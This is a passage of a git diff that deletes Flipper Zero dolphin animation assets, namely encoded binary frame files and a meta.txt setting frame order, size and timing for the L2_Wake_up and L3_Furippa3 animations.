z|KEs)Bj~{Y;BXk{@;?Z`iv+wN3qA>eqB!_G0)Sx=(7>_t5SdBkFob}}56%D@eI^+^ zfJ7i12nB)xBB?P;qltr`#6l;rkH90BB7pz={F0V`{Sdeu0qh_Gfj}c4uMj+bW#WW4 Xi~usf@<41IKtUb>~Ib@{~wkbh70x|R3Cg`2=afxz{qLyC;I`f$n*p1 z9}FfovM{)IFjO$Ce+1Sl&Ms5Ie5K;h2R3UKWC9q63@ aKkONJ*1qcBby1VeTmJ|1y=Ueh*cbr54M!>f diff --git a/assets/resources/dolphin/L2_Wake_up_128x64/frame_18.bm b/assets/resources/dolphin/L2_Wake_up_128x64/frame_18.bm deleted file mode 100644 index 49d7c170d5a6e965b34607189d6058e9290e38fa..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 216 zcmZQ%xWe$i!G`exKSKrc0Xc>b>@d#%&)*jOZ`^#Caf&?S|At*`^$!G}AL3J8u)2$d zal%K9jz5ze?V4M7<|%LAf54tuUsrLf{{I8boh^S^7$YJzF54L<96Wruj^XRB29AjW z0!>Xvnw;hX?KrvN$_xpMlR8p@>0p~0>UjdZZ~kz(+iU-Tckc?tgE9+wg-^08te#NA zSiy3D`K+AAaYnHPj1x?X8C0Gr1ouzSQPDc6DaR20fZs7eOYz};2JH|BmZ=8{W*+~S M;=#2Y^#8=o1M&-)1VQEe{(t1) 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 KKs;>!?jQWU@wXuW diff --git a/assets/resources/dolphin/L2_Wake_up_128x64/frame_4.bm b/assets/resources/dolphin/L2_Wake_up_128x64/frame_4.bm deleted file mode 100644 index 57321af8c5b7ec99e732473f6a6c7feb8e83eaa4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 872 zcmV-u1DE^(0AvIIfII=<4*+-pV1IyRd;j-12Lt8|Z{Pp>^#8=o1M&-)1VQEe{(t1) z@%;b({&0JKZ}LER@_+ttdf&n05A#5O5TEu>jt^Vs$_FKZVFEhxbpoYT+6>RRjGSE)aab)%%7{5hJAVKk)zg z(0`u&fBt_svBEfbj0gXI4Ilmw-*Eo}#tj66VFBaMy#K%V`9%CaKgi??8RNnK^Yb=h z2gVKKM~q_#3LJj}9t0A2&+c%=c=546{C|!=@DG>wKl%8;JRcaDsDA?UUygtK2mi9KL_z2d~r~*dM4E(u45_jQ#+P5qSJT>+9$L zxI62A!e9RV1J3{d@#EvS;&{X2zvFR(%dd~};kWbuWK#Y82NVK<0m5Q0yPf|3rxcMv z6r%tS54xX^p6`L<4~kd6->_(eMhg&ya^v7(pTeO~5cz+5|Jm*r_rc%a;t{N(C_$tD z@W$`m%a?c_F!@gofBfP9-J|#a`8MA4D8aqDMgW6HkN@=V^nOR6|M1#Rz%af)iT``w zmghs^5Gn+_+xZU;J)S-LzH2$-gU=)qURdORuYrJQBp>Pb*XIeydoc#$N00jdAMss2 z(3qVvNeD)a|NozG3_FA7{6Rd@Ib=iq{{R0x|NeXzgT;Zsp^=EBL;3mt{J=#6z`+0T zAH*IJ5c~%SL{JcTl1v^y0pO4Xh&T=e4iF9)72-kQ1&9PfV}RH|;sEi0`XoL9SgFU) zf1qL@a|i|k0f?dS31SZ)*gSlI^n_8t;>Qs{&?p~B9Dp8lY65)9Lm>S@>;X{+jynKO zKzRRQ{s;g>XPLlwlmuck_=Wy3aT&w|hZw+4haNsLP5|(|6U+?{PFjQ2LKo_7&Ay@f8>DJBA9_tvxNXKfOy&9TsQztlC*;W diff --git a/assets/resources/dolphin/L2_Wake_up_128x64/frame_5.bm b/assets/resources/dolphin/L2_Wake_up_128x64/frame_5.bm deleted file mode 100644 index 32233b0afe45a7fb6c061bec43e7484f157a5b64..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 873 zcmV-v1D5;&0A&OJfII=<4*+-rzy^M8{A$Fu+QgVz2J7<`Z(FrW5Mjt^V+$_M6v{vkh!k32*m@%!KN{x}Sl1&oS( zFCE}ugUkQs0pp*UgM|b; z@c92DkSJ%51}_|c10D|>_&i|95&T9lg7NXk{s8e8jDF_~SC1MJFBhS#hx?!W{9qmr zj8Fe}CkOz0?D5b4VB#_UMgQ#a2bxfO|Lgn#8Z!C+=pMg-c!CaJf$@QlfB*V}#(w}l zjJyya_4xDu+#U75;V=JuLFSPkUp_s4AB;R6BlHK4k00g3Z|DBVr}+GE3IqnJh`#Q3 z`~I9>g#}8C06aeIK0bTC2aY~3KK_2eq7fJ^BNNS!h6*iGfd|X`-~Pv9-@Xq1|L}#w zQ9=zL|Asd{&ffdL@#n_!uW{l3=l}1$|1q-np+l@%ax9J)S-LzFVE+hySk=ugg{B#3{%-~Z>I|IdQpeBX#Cnnx^%e?LF*IDm!+ zf#Sg6P{_nmA@~juh@dzaAN~XQgTf*o0pO4Xh&T=e46=8L2Y?nJ5ebe1VFQE%h6U)5 z_yuC8A3gqoh=Ifb;{n7__yn;BkL(^eNF2fefPg|M;PGRKU}zK$AU$Z*1o@PPLGppf z0q2gu6ObN1m_2|>Ao0!v#GoS)pTs|~{{#RcGswmSnqMFMe<6O1AVzTj;m#l+@#Ck) zCy0;8I1tG(0A?^H;P1ji5#&S3qw$EAhUEel2|z*V08pKX9zX%l#C(u&Si_*eG4eqs zAo7#Ke2n7wKtN;2f@GKFPlTg|ykPQ#REwkk=!3*IKm+JPZbSm}!ha`m2A9GQkcjk! z<>-a}QKBIz#A87d{dj@n^T+=cqXGwvGC?4b|B?e>iefL92m}xwFlV^g;9NKWG?%`+ diff --git a/assets/resources/dolphin/L2_Wake_up_128x64/frame_6.bm b/assets/resources/dolphin/L2_Wake_up_128x64/frame_6.bm deleted file mode 100644 index ee2ecbebbc7cefc4ce8464cef44ffb79e475a0c5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 827 zcmV-B1H}9R05=2wfII=<4*+-o@9;uE{6W+2&%z)W4nQ%#fB)~$9xxmrJw4#_{(mCz z7!?YM{`-U9^AiW3^Uvo8rTiW-7<3B-L;Pg;;Pt z0fIz77mn~SLFNDRefano1R@wWA4mV@A3xMSF@Au2ICu~DEVw}Npa0M{${x2_qJah9faG-~O z{u+!N9wHI`Yw`RHcsy_5@&G6Eo;V+XJVoLUeE;FZi}44woSYy5?~CXPVDbKg+IiFm zsJ-xw(f|(pesTB*0A5e=2dD4j|FC!F<+1*H!RC=4$Ic(W@B8rOadwbA{y#g6{sG{- z-#^|EaX=^#8BEK4!|%ua);ttRj6vb|ar|@s=YPN9pWnZquxQ}t|6L!GkMHmAl6WX5sw7|Dex!>07!#?ham<5@Q>gm zegIg21SU8LAsm1OA@B;s9zJ{h0th}30Ky;?J^?I2;=>Slz#t&;0u3A1AqE^!J+^{2--i~ FKll_*j(Gq8 diff --git a/assets/resources/dolphin/L2_Wake_up_128x64/frame_7.bm b/assets/resources/dolphin/L2_Wake_up_128x64/frame_7.bm deleted file mode 100644 index 12d90e652d46d9fd9a7c340a0019380a56eea386..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 763 zcmVq({sGbN29zQJzy>eu1UE<|0s{~tUw^2&By=d4=w-Z12dpNHU%O7_Q{9$r~jew=>!77fIp1i|M~y_J^grm zL-4>J1^>YS-~Yd#{2#yB1F$cS0ek?B?4mdMN6rI)XP}IK6F_jFhw2I$;5fJeLHJ_0 z81Q)B{1A50&)^sD2ev=(2aWUKDG&kRKmG&p1IB;&|AWvpG!k%t2ERN9j2s?d!QlA8 z<=>v21a>6y1rH58K(U_#!~nhy9~>Wn@dubdLF7vidI1hT4>0>9L>`$)x zLp%^955fPT?hM0!pUcJV2mWyRY~g@HB%}DD!XPjY@4X&O0WcIF0mHxld;j>%>-gyr z*qY0OL&5<@e-67Z#RyH&01t)_KmT$0_ON*0-~=@A&;S1)#J;=_7zl{L%{;SLL6@!{(CqNjD}2rIr{!!A37iZ^Uq(3ctME|fM2m1FaOW;KaB&> zazD%dBa8p%|AFG}FagiO1qP8CZJYaYq$TV~R_}qL} zGatdwU>F>K^*$pJkI%(pAO2wf_<94dNu%)vjo?-=|MVPYG7Jbjc;vB({x}4ofy0#p z5Fd~Kei9gupe`^t40HJ(gkVL2P!M?Y;BX8C0&r>=COjS>0nfy7@OT9R0Wb%Q3m-8D zl%7)veGGyDU=fT4gOXpBK9dZdKq3$h07Rr!B}sH~Fmw2bM*w#i1ajm+FFYiiAO?(d th2`jlgT@FAI1oI4ULbh<%f$!>oCX0X|0D*%6vPh(Fb*UTz%39i8~_#AO{4$- diff --git a/assets/resources/dolphin/L2_Wake_up_128x64/frame_8.bm b/assets/resources/dolphin/L2_Wake_up_128x64/frame_8.bm deleted file mode 100644 index 21b3d87865ec292a31aebaa209f4cf694b2752ab..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 751 zcmVq({sGbN29zQJzy>eu1UE<|0s{~tUw^2&By=d4=w-Z12dpNHU%O7_Q{9$r~jew=>!77fIp1i|M~y_J^grm zL-4>J1^>YS-~Yd#{2#yB1F$cS0ek?B?4mdMN6rI)XP}IK6F_jFhw2I$;5fJeLHJ_0 z81Q)B{1A50&)^sD2ev=(2aWUKDG&kRKmG&p1IB;&|AWvpG!k%t2ERN9j2s?d!QlA8 z<=>v21a>6y1rH58K(U_#!~onrI6WtU2M3@)LCFUKmkbbb@Op*Ifx||KK5y^<_=Cy; z(2)NiXLA4*4{&B1{Qh734G4*Ne711l;qy>oz`^McSr7N#k0X2E|GoGGVpI=`9ufjS z7=77(AO`Tk$K!|R+QI1uUzdh||M-3-_3y-g;U8xhJZS&)2*>M!`N9510}0>!0f`3- z4?-T$8~%GZ4>XXBOCggW3<9B;52ygL8W5=Y>+w$uP?{--(SQDbnfz!TF!Jex%ZvZ# z|AFJdJ(vKe;PN00{xiZKH2(=n0+oIC&oOot2{CB732_M{M2oER< zkfHc5&%6ph$jmeR1sDPlpz7hznFs$FgnuXZhzEckFgyzQf+HJ`{vh-3#|4@=9Dn!! z{TPgXek&ON@W@mLV3S2+G0VWLVgKkj}(;hq+z&MaY0JML&fAF+aQwRV6 diff --git a/assets/resources/dolphin/L2_Wake_up_128x64/frame_9.bm b/assets/resources/dolphin/L2_Wake_up_128x64/frame_9.bm deleted file mode 100644 index c88b734a4a70677c8b4b9c0e3e4de653a2f93a0c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 725 zcmV;`0xJCh0MP>ffII=<4*+-rzy2w>n6`-9)|0vH$j5C8Ln z;y>Vle=i^GfIYAO=sp4icz{MG0KpLu)N}YaKY{~jfI=^y;t~D({&*ZefdHsLAfL_0 z|K<-Z`1od22nK=!0{`~Ohxe!dr|`)H0)c?Q|K{eB{(JiH|A)pu0Ki}T5DowN5;#A9 zvIpRwzyJk&0FCUTH~B}-1Ats0jDHhAaG;0k8Wn*61_uE6Vz?Oac;5UFegHUzV}9^^ zWB&kn-zE{k@svl0;6D&NXYr4KJw6x;2{=FlU!FoR5O8_Npd23;JhpJaAresh z!XPjY@4k8;oB#K}|BTL);s9zM6NY^lb=nXQe+(Xf{^RrQVELc_{y&L*cpo%>`UGS3 z$iO+U9vmO_sxXZ_Kpyo7alCK&?BG5!88QIp>-mX*J-8VS5C8e+uf-%F_Ml=kU;m%x ze;TlZ+QEq8|M~ymc+f%ZAP12EXYrm8J*F5+PyN6(_|6O#U&t5?Vi?a)^Z);|#&G9R zfI;EFF^prqKQMUy<1j$j;2#iCjm1aqV>FGMf@@F%gxjCdSa2n+(z H0^z^_*t$-| diff --git a/assets/resources/dolphin/L2_Wake_up_128x64/meta.txt b/assets/resources/dolphin/L2_Wake_up_128x64/meta.txt deleted file mode 100644 index 08de0bbc0..000000000 --- a/assets/resources/dolphin/L2_Wake_up_128x64/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 10 -Active frames: 18 -Frames order: 0 1 0 1 0 1 0 2 3 4 0 5 6 7 8 9 10 11 10 12 13 14 15 16 17 18 19 20 -Active cycles: 1 -Frame rate: 2 -Duration: 360 -Active cooldown: 7 - -Bubble slots: 0 diff --git a/assets/resources/dolphin/L3_Furippa3_128x64/frame_0.bm b/assets/resources/dolphin/L3_Furippa3_128x64/frame_0.bm deleted file mode 100644 index 07a63d6424edfe232cc55faf2756cca9485384c3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 398 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 K0l^!}zz-0n&QtRM diff --git a/assets/resources/dolphin/L3_Furippa3_128x64/frame_12.bm b/assets/resources/dolphin/L3_Furippa3_128x64/frame_12.bm deleted file mode 100644 index 392905a559e718552e9db176de5b7cc96aee167a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 541 zcmV+&0^2HpaDrD0~`qk(=2CEZ z0f)!)C5Sy^VDfDd6n=P6c!CNF4@>zJeV5sIJm5g`(0}*gLcxQ{tS}II8iWXe@eB|E zXaM&oh#-OHDi9%W;4^FixNpGtzyG;6_}9XI3LFReE(ABI%&-txX8^(=_6Q6zF#`F| z%pwXHSUm6OQH)?em-v`H|E9r!(1@c42fM^ULUj;%Vgc))|K1Fy>Kb?a9=!ZL{EAT6 z1w0;~ugGj@5C#axa1?NQe1YPw7#HjRdiZJo@l^SIcmMtl`T!3dm;X)wiUZI8-@skq zAn}sVy5IRje7^$Wz<=Pt@uKiS==&f4;{o%GgT|Nt_kZdD@qLIqwsLTI)$jj*{(v4o zPrv8!!7vCsb@%_@{(}R60SDkA5P1JeqyPQ^#q2GC2cG?kAOw2~a6#jN_us+G|A+7a f<$u2eTmSC}k$89X5PN_N?%5stv_aF0B#1shQS}MQ diff --git a/assets/resources/dolphin/L3_Furippa3_128x64/frame_13.bm b/assets/resources/dolphin/L3_Furippa3_128x64/frame_13.bm deleted file mode 100644 index aa5353e988d02785f45759a024931abe7d580086..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 584 zcmV-O0=NAE07L@+fII=<4*+-rz#ahb2Y@^IANT|F;Rk?x!S}#`z&(Kbz(C*~0DZs# zKZbz<@kP z-_ZGk-W5OxmVe$YUN}5vRseX=FaHn!_#S((c=Kc+^8fh5iJ!HD#(O>ojswBL|KI=9 zyXAl$Ey0L`%fG>Z-}v0Uoqw17zfWUvCftXMrUwwc* zFdOIv=nzr}54)K^iv!95wSa!G^7S~tJCHd1P#$^^c)jswmy;2(?+ml*DY%6Tpaje?1R4~z?+C+R@JB71OJ%^j$i~g#Q}fdP!0e4@$U+bI{^s# z3(Nlv;0TA07lYt1>XG_?f57p%{4ekc#4b7D#lRpxNFUrDAR+mp#tHC`{fFbU28aM| z{|{g!U}Yi1z%rjedF|ox@OZ&E5DPI#e_na`JbB{LzW^w(J#=94pcIrmEe`+y diff --git a/assets/resources/dolphin/L3_Furippa3_128x64/frame_14.bm b/assets/resources/dolphin/L3_Furippa3_128x64/frame_14.bm deleted file mode 100644 index 837c6c71defd8be280776e7881817fc68276b5d0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 610 zcmV-o0-gN<0A2$B|KVUk{Q*P)Fi?2?0rvt2kDwoLFnIg{_W=j^KOjHgdBMT)0R98a zDj@jq1I#KQ_}~M|;Q;Id;{Xp%fIlVx`hWxc9=`B>kL(_GhKz#+o><3>gVG5B{Tt>8 z4;U5;!}CwXJVamY_&z)lfe}FLAMe0Dt_H!Nasoqr`-9r~&_@VJU>l>0Krj6W95O)w zgJlpe;FN#haR>y*&>wsRUrhppDF-nZ{sYsG|A@(;VDX@2Js+@oPGA%6%nc+tE0kSi zuxJH>Lj(tm3qcDYD|B!X2tYh=AoBP#)&UWmL9h@2c-lSS_KA8RbO;895vb?`+9^1J zKqL|g{UbmRX+$ywAO;Ttt3U_0LJkiYg@OTE2b}yKQ3wz`aF!;BgU_B1DFg(5A@ZVV zdEoJzgVn$w5#o2S;PHin%RrqGp+G;L5P3mC<-mYJ58@9VCwyLBV0pmdiSdjD2SN@Q z8NBEa$N2-wgZ=&g0qGDH4O%!v8W;Zm|NDc@SRg@@1ImB)|6{@DKq!m?&N3Yo|NZ%| zgUlq?4N0o0xY&yEj|qzoQt^FED>06iEa;GRJCuV4t{^!eXG#1C2(0)+vGdoW=5 z-AFJnC>}#T4`yhz^{KA$Q(_^4>({vevs<0996^* wNHeH?5Gg=DU|{j6KxP1O`UB1b0N_Ay5Dfv)f$A(Dg8+f^cz{o!766F@+?Nvri2wiq diff --git a/assets/resources/dolphin/L3_Furippa3_128x64/frame_15.bm b/assets/resources/dolphin/L3_Furippa3_128x64/frame_15.bm deleted file mode 100644 index 9ff56a5b6bd83d39c6585dafb084113387bf309d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 741 zcmV2edpMFaQvP#()oKH^LrM60rl^I503^{{iLsHy|)^ z0P@TO$c~T*6avV`F91BQ2NQrnAQ7N>U;*j-2b3ZK1#_7gbPDB+U69Vy z2d})|M3D~)2*KxjACw9NtPlv3%2fI<=fqYpC`JMNAOZbLLFM@O69xpR5TL;;kZ&wM zv48$|iGu=y7zjQv7}Uef!T-;u1c9OhgeEXZ92#R14<0x?VUR4PTpn0R2t2>t^7yL9kti^WY(e8% z2af;$0dNeKDo`E-93GeRaKs{72$D!_6M%T`oC3cYgo1+sguF|DVj0x`W)B_(0t2Li zLmEV1AFl)B{S1u`0c1CcR7V2<{{Q|V@qlR{6sUUupb^dk^nd z`{45EK&FvLi4;m6ARtKSAiN120pwi|{4+ccIs`5tFCG9~z98}UgU&C2CJn$IUIF-r z&jD@$i~=whF90}!d04o9jcmu#50PqKZJOMC(e@*~H;Gcu)Kp-FI{sIrE!~!3HfrIK{fDVi> zA2bOE00<&6fJcGxAQBVFfe%V z2?Po(1P}^v0C>zG2xA9~2ufh`6Nn_h0*o^N!C(S$6qr3?0P+rtY{w!sFnNW<3O&Gk zC9wT8f5ItaOfd_~*OhgYk2s}k& z0iYO!9@H2I{!R!IaNrw+4_FxNU{(lyfXFOW;C>`v@t9B|0P2CSOq13hXmkeVx$Jlghm1hk|1&b^56rE9-u*b zk`z`43?iih97Y&eJm674dC)Kbk@t^KHL{N x0tncHk_Vv>zzCfd@UEO1VEw>AQ=&RRdj|v`*MLBS&H_(>K!T0}e_#N^0q7Yl$LIh6 diff --git a/assets/resources/dolphin/L3_Furippa3_128x64/frame_17.bm b/assets/resources/dolphin/L3_Furippa3_128x64/frame_17.bm deleted file mode 100644 index 80cb06fd3cbd753e5bf6f00f85a67bee5a0590ad..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 492 zcmV)+z)6lKcGPUz(7I#PwD_arU3pz{4gKTMmK;S{sc4Q z5e5Umrk^9=vnU*SF-SfRq7N02#{ta&$w0Dd;runk9{8*#h#oL? zpn`|t4+otp@uYxyFYqOpfCv0UAb8RN;~c<20p|dpgVzBAfI@5F^SA(p1TP>la);yq zKzQLakl--Rh3F4FUyEM>0}MDG_)L^!Tu=xYJ>Zd5NxcMq_(?FdlcdpjPc#Z}#e8CO zMO1)BJ^*vTP$E}QF^t4QAoY-1fW%BFFu7zj3ZaNaf^Z;vQUGEN5a5hRZjc-Rw7dYp z@GDp(AySW^3;=~uQ?zglu?Pg@5T)Z>8J(~N;}N1AS>nV%!5)YJPa`p_olv4@E&zNWkwRctC_R7$4g-w>^KMRlm@CSfA05|Yd-vDL6 zrh}m*mk*cyGWGx=$00Bbd_3^slEc9uABn*Va1<7}%{%~tpfJ~gKoN{-w5JrATcm{vup{D1Q;0w-&W_W-d nPOl>XE1giJZ<8y6l#+*4fXD!a1qaL2M1)X4c|-t0*bo4Ks86b< diff --git a/assets/resources/dolphin/L3_Furippa3_128x64/frame_2.bm b/assets/resources/dolphin/L3_Furippa3_128x64/frame_2.bm deleted file mode 100644 index c014858502e8d153d61a39604e4128198513b5df..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 463 zcmV;=0Wkgn0LuXYcmu#50PqKZJOSVj0C)qy9suwMfCl~!-UT!tw-1;80uQ+4CIOF! zgX<3jfPNA+B6Pzk4iom2tn#;^n#umj2)0D*(zKo1-Q8UO(h1Iz*AKn{saKo1xP zj)D&Wh99IJJP5=B5D$o;JZusHDE|^q7Q{em6bJ-D4w88h>}41T2SNfP5CX{XANi~b z18_TtJ*Yeg1bP7hhy&(9{x1v*`2nAU+XIk*#KGeN;RD_QNq|Wp7*GGwJ`Z^{@{s_d zKtHGVNDdC80GdEQ(0>K~%nmpXN(GZ&7y1Sdd{z@g?l1fX0bmEMD)FR%K+=K<5PQ-z zit*rI!6R_61Kbck1MyB4f&eHGyp#j*KNNYyfbqg<3B&k54}u=Y5P9PKTJqTcAmH(V z!-407$wo%xeiZY;BB7xG3HX2wgp&e@{9p!z^FV}tFau(9Ktk|;zyc3wmDC7V56AyL 